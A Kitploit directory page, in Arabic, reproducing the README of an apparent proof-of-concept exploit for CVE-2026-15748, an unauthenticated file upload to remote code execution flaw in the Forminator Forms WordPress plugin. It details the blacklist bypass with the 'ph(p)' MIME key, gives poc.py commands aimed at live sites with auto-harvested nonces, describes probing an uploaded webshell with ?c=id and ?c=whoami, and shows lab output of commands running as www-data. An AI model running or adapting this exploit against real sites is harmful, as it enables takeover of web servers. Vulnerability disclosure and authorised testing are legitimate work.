Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 - رفع ملفات تعسفي بدون مصادقة عبر تكوين حقل رفع مُزيّف | Kitploit
أدوات/GitHubGitHub/ubaydev/cve-2026-15748
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالفريق الأحمر
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 - رفع ملفات تعسفي بدون مصادقة عبر تكوين حقل رفع مُزيّف

عرض المستودع
7منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-15748 — رفع ملفات عشوائي بدون مصادقة في Forminator Forms → RCE

CVSS 9.8 (حرجة) · المتأثّر: Forminator <= 1.56.1 · الإصدار المُصحَّح: 1.56.2 الباحث: daroo (برنامج مكافآت الثغرات من Wordfence، $2,048) · ~600 ألف تثبيت نشط التقرير الفني: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

سلسلة الأسباب الجذرية

ثلاث نقاط ضعف مرتبطة ببعضها عبر قيمة مزوَّرة لحقل Select:

  1. غياب التعقيم على مصفوفات الحقول المتداخلة — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() يمرّ على كل حقل مخزَّن. بالنسبة لحقل Select المخزَّن select-1، $field_data = prepared_data['select-1'] (مصفوفة متداخلة يتحكم بها المهاجم). عندما تحمل return، تُلحَق المصفوفة بـ field_data_array كاملةً دون معالجة (front-action.php ~السطر 1088)، قبل أي تعقيم/تحقق لكل حقل. maybe_handle_custom_option() لا يزيل هذه الحقول.

  2. إعدادات حقل غير موثوقة يُعتدّ بها عند الرفع — Forminator_CForm_Front_Action::process_uploads() يمرّ على field_data_array، ويعتمد على field_type == 'upload' المزوَّر، ويستخدم name المزوَّر لاختيار مدخل من $_FILES، ويمرّر field_array المزوَّر كإعدادات موثوقة إلى Forminator_Upload::handle_file_upload().

  3. تجاوز القائمة السوداء عبر المفتاح الحرفي — forminator_allowed_mime_types() يزيل المفتاح الحرفي php، لكن wp_check_filetype() يتعامل مع المفاتيح كـ تعبير نمطي (regex). المفتاح ph(p) ينجو من القائمة السوداء ومع ذلك يطابق لاحقة .php. additional-type = ph(p)|text/x-php يسمح لملف .php باجتياز التحقق.

شرط قابلية الاستغلال

يجب أن يحتوي النموذج المنشور على كلٍّ من حقل رفع الملفات وحقل Select. حقل Select هو مجرد ناقل.

ملاحظة حول التنفيذ (مُتحقَّق منها مختبريًا)

  • رفع ملف .php عشوائي إلى القرص ينجح افتراضيًا (لا حاجة لإعداد خاص لعملية الكتابة).
  • يتطلب RCE خلوَّ جذر الرفع من .htaccess الخاص بـ Apache. جذر Forminator الافتراضي والجذر المخصص يحصلان كلاهما على .htaccess يحجب PHP (SetHandler none / RemoveHandler). يتحقق RCE فقط عندما يكون ذلك .htaccess غائبًا — سيناريو «جذر تخزين مخصص يُنشأ أثناء طلب من الواجهة الأمامية حيث لا يكون insert_with_markers() محمَّلًا» كما ورد في التقرير الفني.
  • في المختبر حققنا RCE باستخدام جذر تخزين مخصص ومحاكاة حالة عدم وجود .htaccess.

مسار الرفع والتجزئة (مهم للاختبار المباشر)

  • الجذر الافتراضي: wp-content/uploads/forminator/ ← الملف في wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
  • الجذر المخصص: إذا ضبط المسؤول forminator_custom_upload_root (مثل cveuploads)، تُخزَّن الملفات في wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
  • قيمة <hash> هي wp_hash($form_id) — مشتقة من أملاح AUTH الخاصة بالموقع، لذا لا يمكن توقعها من الخارج. يطبع poc.py نمط المسار؛ لإكماله يجب استعادة التجزئة (سرد الدليل، عنوان/سجل ملف مرفوع موجود، إدخال في لوحة الإدارة، إلخ) عبر --form-hash.
  • اسم الملف المرفوع = wp_generate_password(12,false,false) . '-' . <original> ← مثلًا cX3fRjMDDu03-shell.php (12 حرفًا أبجديًا رقميًا عشوائيًا + - + الاسم الأصلي).

الاستخدام — poc.py

مباشر-أولًا حسب التصميم؛ أدوات المساعدة الخاصة بالمختبر المحلي (فحص نظام الملفات، إزالة .htaccess) مقيدة بـ http://wordpresslab.test / http://localhost فقط.

# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/                       # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42

# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303

# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
    --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"

# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell

الخيارات

الخيارالمعنى
--targetعنوان الأساس (أو رابط الصفحة الكامل عند عدم وجود --page-id/إدخال يدوي)
--page-idمعرّف المقال؛ إذا كان فارغًا، يُجلب رابط الهدف نفسه لاستخراج nonce/form_id
--form-id, --nonceتجاوز الاكتشاف؛ مع جلب الصفحة لحصاد --auto
--upload-fieldاسم حقل الرفع الحقيقي (الافتراضي upload-1)
--forge-nameناقل $_FILES المزوَّر (الافتراضي = الاسم الحقيقي، وضع التصادم؛ استخدم اسمًا مختلفًا للحصول على success=True نظيف)
--selectحقل Select المراد استخدامه (الافتراضي select-1)
--extra name=valueفرض قيمة لحقل (قابل للتكرار؛ --extra 'checkbox-1[]=a+b' لقيم متعددة)
--auto / --no-autoحصاد حقول النموذج الحقيقية من HTML وتعبئة قيم معقولة تلقائيًا حسب النوع (افتراضي: مفعّل)
--upload-rootجذر الرفع النسبي (الافتراضي wp-content/uploads/forminator؛ اضبط مثلًا wp-content/uploads/cveuploads للجذر المخصص)
--form-hashجزء <hash> من دليل الرفع ← يكمل/يطبع رابطًا ملموسًا
--verify-urlمباشر: استطلاع رابط شل مرشّح عبر ?c=id/?c=whoami
--find-shellمحلي فقط (wordpresslab.test/localhost): إيجاد أحدث *-shell.php، إزالة .htaccess، تنفيذ
--no-htaccessطباعة ملاحظة إزالة .htaccess الخاصة بالمختبر المحلي

تعيين قيم --auto (المحصودة من HTML النموذج)

نوع الحقلالقيمة المُنشأة
email / الاسم يحوي emailauto<rand>@mailinator.com
tel / الاسم يحوي phone10 أرقام عشوائية
url / الاسم يحوي urlhttps://example.com/<rand>
numberرقم عشوائي بين 1–9999
date2026-08-19
مجموعة checkbox/radio name[]قيمة الخيار الأول (تُفحص جميع المدخلات ذات الاسم نفسه)
checkbox/radio مفردخاصية value، والبديل checked
<select> (غير ناقل)أول خيار غير فارغ
<textarea>نص عشوائي
نص عادي10 أحرف عشوائية

الحقول المُتخطَّاة: الحقول الداخلية (action/form_id/nonce/...)، وtype="file" (upload-*)، وselect-* (ناقل الاستغلال)، وcalculation-* (محسوبة)، وحقول الإضافات الخارجية (wpforms[...]).

إعادة الإنتاج في المختبر (wordpresslab.test، WP 6.9.4 + Forminator 1.56.1)

الإعداد:

  • نموذج يحتوي حقل رفع حقيقي + حقل Select (مُنشأ عبر build_form.php، باستخدام واجهة Forminator_Form_Model API).
  • تمكين جذر تخزين مخصص للرفع (forminator_custom_upload=1، forminator_custom_upload_root=cveuploads) لإظهار RCE. cveuploads/ هو أثر مختبري، وليس إعدادًا افتراضيًا من Forminator.
  • ملاحظة تصميمية: للحصول على success=True نظيف، يجب أن يختلف name المزوَّر عن element_id لحقل الرفع الحقيقي. الاسم المتصادم ما يزال يرفع الملف، لكن الحقل الحقيقي يشغّل أيضًا فحص mime الافتراضي الخاص به ← يبلّغ الرد عن خطأ بينما تكون الشل موجودة بالفعل على القرص.

الأدلة الخام (تشغيل مختبري):

# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php

[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data

# .htaccess present (protected): request returns raw PHP source (not executed)

الملفات

  • poc.py — برهان مفهوم مباشر-أولًا (اكتشاف تلقائي، تعبئة تلقائية، verify-url، مساعد RCE محلي)
  • build_form.php — مُنشئ نماذج مختبري برمجي (رفع + select) عبر واجهة النموذج API
  • README.md — هذا المستند

التخفيف

  • حدّث إلى Forminator >= 1.56.2 (يمنع تجاوز قائمة MIME المحظورة + مسار إعدادات الحقل الموثوقة).
  • تأكد من أن أي جذر تخزين مخصص للرفع مشمول بحمايات .htaccess/index الخاصة بـ Forminator.
  • شغّل برهان المفهوم فقط ضد أهداف مصرَّح لك باختبارها.
تنزيل الأداة